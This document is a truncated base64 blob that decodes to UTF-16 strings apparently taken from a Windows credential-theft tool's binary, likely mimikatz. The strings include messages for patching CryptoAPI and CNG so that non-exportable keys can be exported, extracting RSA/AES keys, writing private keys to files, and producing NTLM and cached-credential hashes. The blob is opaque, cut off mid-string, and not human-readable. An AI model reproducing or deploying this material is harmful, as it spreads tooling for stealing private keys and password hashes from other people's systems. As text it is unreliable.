JAEUAQwAgADEAOAAwADkAMgAgACgATgBGAEMAKQAKAAAAAAAgACAATgBGAEMASQBEADEAIAAgADoAIAAAAAAAIAAgAEEAVABTACAAIAAgACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYQBjAHIAXwBpAG4AZgBvACAAOwAgAE8AbgBsAHkAIABCAHIAVAB5ACAAPQAgADAAIAAoAFQAeQBwAGUAQQApACAAYQB0ACAAdABoAGkAcwAgAHQAaQBtAGUACgAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAdABlAHMAdAAAAAAAYgB1AHMAeQBsAGkAZwBoAHQAAABCAHUAcwB5AEwAaQBnAGgAdAAgAE0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEkATgBQAFUAVABFAFYARQBOAFQAAAAAAEwASQBHAEgAVAAAAFMATwBVAE4ARAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABCAHUAcwB5AEwAaQBnAGgAdAAgAGQAZQB0AGUAYwB0AGUAZAAKAAAAAAAAAAoAWwAlADMAdQBdACAAJQBzAAoAIAAgAFYAZQBuAGQAbwByADoAIAAwAHgAJQAwADQAeAAsACAAUAByAG8AZAB1AGMAdAA6ACAAMAB4ACUAMAA0AHgALAAgAFYAZQByAHMAaQBvAG4AOgAgADAAeAAlADAANAB4AAoAIAAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAA6ACAAJQBzAAoAIAAgAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzACAAIAA6ACAAMAB4ACUAMAAyAHgAIAAoACAAAAAlAHMALAAgAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAIAAgACAAIABQAHIAbwBkAHUAYwB0AEkAZAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAEMAbwBzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABTAGUAcgBpAGEAbAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABzAHcAcgBlAGwAZQBhAHMAZQAgACAAOgAgACUAUwAKAAAAAAAgACAASwBlAGUAcABBAGwAaQB2AGUAIABUAGgAcgBlAGEAZAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAgACAAVwBvAHIAawBlAHIAIABUAGgAcgBlAGEAZAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHMAdABhAHQAdQBzACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABbACUAMwB1AF0AIAAlAHMAIAAoACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAGMAbwBsAG8AcgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAGkAbgBnAGwAZQAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAcAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABzAHQAbwByAGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAABrAGUAeQBzAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAABzAGMAAAAAAEwAaQBzAHQAIABzAG0AYQByAHQAYwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAAAAAAAAAAABIAGEAcwBoACAAYQAgAHAAYQBzAHMAdwBvAHIAZAAgAHcAaQB0AGgAIABvAHAAdABpAG8AbgBhAGwAIAB1AHMAZQByAG4AYQBtAGUAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABXAGkAbgBkAG8AdwBzACAAUwB5AHMAdABlAG0AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGYAaQBsAGUALAAgAFQATwBEAE8AOgByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlACkAAABzAGMAYQB1AHQAaAAAAAAAQwByAGUAYQB0AGUAIABhACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAYwBlAHIAdABpAHQAaQBmAGEAdABlACAAKABzAG0AYQByAHQAYwBhAHIAZAAgAGwAaQBrAGUAKQAgAGYAcgBvAG0AIABhACAAQwBBAAAAAABjAGUAcgB0AHQAbwBoAHcAAAAAAAAAAABUAHIAeQAgAHQAbwAgAGUAeABwAG8AcgB0ACAAYQAgAHMAbwBmAHQAdwBhAHIAZQAgAEMAQQAgAHQAbwAgAGEAIABjAHIAeQBwAHQAbwAgACgAdgBpAHIAdAB1AGEAbAApAGgAYQByAGQAdwBhAHIAZQAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAGUAeAB0AHIAYQBjAHQAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAARQB4AHQAcgBhAGMAdAAgAGsAZQB5AHMAIABmAHIAbwBtACAAQwBBAFAASQAgAFIAUwBBAC8AQQBFAFMAIABwAHIAbwB2AGkAZABlAHIAAAAAAGsAdQB0AGkAbAAAAHQAcABtAGkAbgBmAG8AAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAHIAcwBhAGUAbgBoAAAAAABkAHMAcwBlAG4AaAAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUALQAxADMAcwAgACgAJQAyAHUAKQAAAAAAIAAlAGMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAcAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQBzADoACgAAACUAMgB1AC4AIAAlAC0AMQAzAHMAIAAoACUAMgB1ACkAIAAtACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAFQAeQBwAGUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAlADIAdQAuACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQgBDAHIAeQBwAHQARQBuAHUAbQBSAGUAZwBpAHMAdABlAHIAZQBkAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAABDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgACAAIABTAHUAYgBqAGUAYwB0ACAAIAA6ACAAJQBzAAoAAAAAACAAIAAgACAASQBzAHMAdQBlAHIAIAAgACAAOgAgACUAcwAKAAAAAAAgACAAIAAgAFMAZQByAGkAYQBsACAAIAAgADoAIAAAACAAIAAgACAAQQBsAGcAbwByAGkAdABoAG0AOgAgACUAUwAAAAoAIAAgACAAIABWAGEAbABpAGQAaQB0AHkAIAA6ACAAAAAAACAAIAAgACAAVQBQAE4AIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAgACAAIAAgAEgAYQBzAGgAIABTAEgAQQAxADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAF8AZABlAHMAYwByACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACgAUwBIAEEAMQApACAAKAAwAHgAJQAwADgAeAApAAoAAABzAGkAbABlAG4AdAAAAAAAbgBvAGsAZQB5AAAAcwB0AG8AcgBlAAAAAAAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBDAG8AbgB0AGUAeAB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKABmAG8AcgAgAGwAZQBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAIAAgACAAJQB1AC4AIAAlAHMACgAAACAAIAAgACAAJQBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABOAEMAcgB5AHAAdABFAG4AdQBtAEsAZQB5AHMAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgAgACUAMAA4AHgACgAAAAAAcAByAG8AdgBpAGQAZQByAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAgACgAJwAlAHMAJwApAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQAgADoAIAAnACUAcwAnACAAKAAlAHUAKQAKACAAKgAgAEMATgBHACAAUAByAG8AdgBpAGQAZQByACAAIAA6ACAAJwAlAHMAJwAKAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgBDAE4ARwAgAGsAZQB5AHMAIAA6AAoAAAAAAFAAcgBvAHYAaQBkAGUAcgAgAEgAYQBuAGQAbABlAAAACQB8AFAAcgBvAHYAaQBkAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAAABJAG0AcABsACAAVAB5AHAAZQAAAAkAfABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4AOgAgAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAAAkAVQBuAGkAcQB1AGUAIABuAGEAbQBlACAAIAAgACAAOgAgACUAcwAKAAAAQQBsAGcAbwByAGkAdABoAG0AIABOAGEAbQBlAAAAAAAJAEEAbABnAG8AcgBpAHQAaABtACAAIAAgACAAIAAgADoAIAAlAHMACgAAAEwAZQBuAGcAdABoAAAAAAAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACQBFAHgAcABvAHIAdAAgAHAAbwBsAGkAYwB5ACAAIAA6ACAAJQAwADgAeAAgACgAIAAAACkACgAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAAAAkATABTAEEAIABpAHMAbwBsAGEAdABpAG8AbgAgACAAOgAgACUAcwAKAAAACQB8AFAAcgBvAHYAaQBkAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBTAAoAAAAJAHwASwBlAHkAIABDAG8AbgB0AGEAaQBuAGUAcgAgADoAIAAlAFMACgAAAAkAfABVAG4AaQBxAHUAZQAgAG4AYQBtAGUAIAAgACAAOgAgACUAUwAKAAAACQBLAGUAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAJQAwADgAeAAgACgAIAAAAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABiAGkAbgBhAHIAeQAAAAAACQBQAHIAaQB2AGEAdABlACAAcgBhAHcAIABlAHgAcABvAHIAdAAgADoAIAAAAAAATwBLACAALQAgACcAJQBzACcACgAAAAAASwBPACAALQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAcgBzAGEALgBwAHYAawAAAFYAMgBDAEEAUABJAEQAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAZABzAGEALgBwAHYAawAAAFAASwBDAFMAOABfAFAAUgBJAFYAQQBUAEUASwBFAFkAAAAAAGQAcwBhAC4AZQBjAC4AcAA4AGsAAAAAAGQAaAAuAGUAYwAuAHAAOABrAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAAAAAAGsAZQB5AHgALgByAHMAYQAuAHAAdgBrAAAAAABzAGkAZwBuAC4AcgBzAGEALgBwAHYAawAAAAAAcwBpAGcAbgAuAGQAcwBhAC4AcAB2AGsAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEEAbABnAG8AcgBpAHQAaABtACAARwByAG8AdQBwAAAAUFJJVkFURSBLRVkARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBFAG4AYwBvAGQAZQBCADYANABfAGgAZQBhAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoACUAcwAgAC0ALQAgAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAJQBzACAALQAtACAAaQBuAGkAdAApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAZQB4AHAAbwByAHQAIAB0AHkAcABlACAAZgBvAHIAIABrAGUAeQAgAGcAcgBvAHUAcAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAGUAcgB0AEEAZABkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBDAG8AbgB0AGUAeAB0AFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAATgBUAEwATQA6ACAAAAAAAEQAQwBDADEAOgAgAAAAAABEAEMAQwAyADoAIAAAAAAATABNACAAIAA6ACAAAAAAAE0ARAA1ACAAOgAgAAAAAABTAEgAQQAxADoAIAAAAAAAUwBIAEEAMgA6ACAAAAAAAFsAJQAwADQAeAAvACUAeABdACAAJQBzAAoAAAAgACAAAAAAAFAAcgBvAHYAaQBkAGUAcgAgAGkAbgBmAG8AOgAKAAAACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBzAHkAcwB0AGUAbQAgADsAIABJAG4AcAB1AHQAIABNAGkAYwByAG8AcwBvAGYAdAAgAEMAcgB5AHAAdABvACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGYAaQBsAGUAOgBmAGkAbABlAG4AYQBtAGUAfABkAGkAcgBlAGMAdABvAHIAeQApAAoAAABjAHIAbAAAAGMAdABsAAAAawBlAHkAaQBkAAAARABhAHQAYQA6ACAAAAAAACUAcwAuACUAcwAAAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZgBpAGwAZQBfAHIAYQB3AEQAYQB0AGEAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAQwBlAHIAdAAgAHMAdABvAHIAZQAgACAAIAAgACAAOgAgACUAcwAKAAAAAABDAGUAcgB0ACAAbgBhAG0AZQAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAEMAZQByAHQAIAB2AGEAbABpAGQAaQB0AHkAIAAgADoAIAAAAAAAAABTAHIAYwAgAHAAcgBvAHYAaQBkAGUAcgAgACAAIAA6ACAAJQBzAAoAUwByAGMAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBjAGUAcgB0AF8AdABvAF8AaAB3ACAAOwAgAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoAGQAYQB0AGEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlAHIAdABfAHQAbwBfAGgAdwAgADsAIABDAHIAeQBwAHQARQB4AHAAbwByAHQASwBlAHkAKABpAG4AaQB0ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlAHIAdABfAHQAbwBfAGgAdwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAGMAZQByAHQAXwB0AG8AXwBoAHcAIAA7ACAATgBDAHIAeQBwAHQARQB4AHAAbwByAHQASwBlAHkAKABkAGEAdABhACkAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlAHIAdABfAHQAbwBfAGgAdwAgADsAIABOAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoAGkAbgBpAHQAKQA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBjAGUAcgB0AF8AdABvAF8AaAB3ACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AYwBlA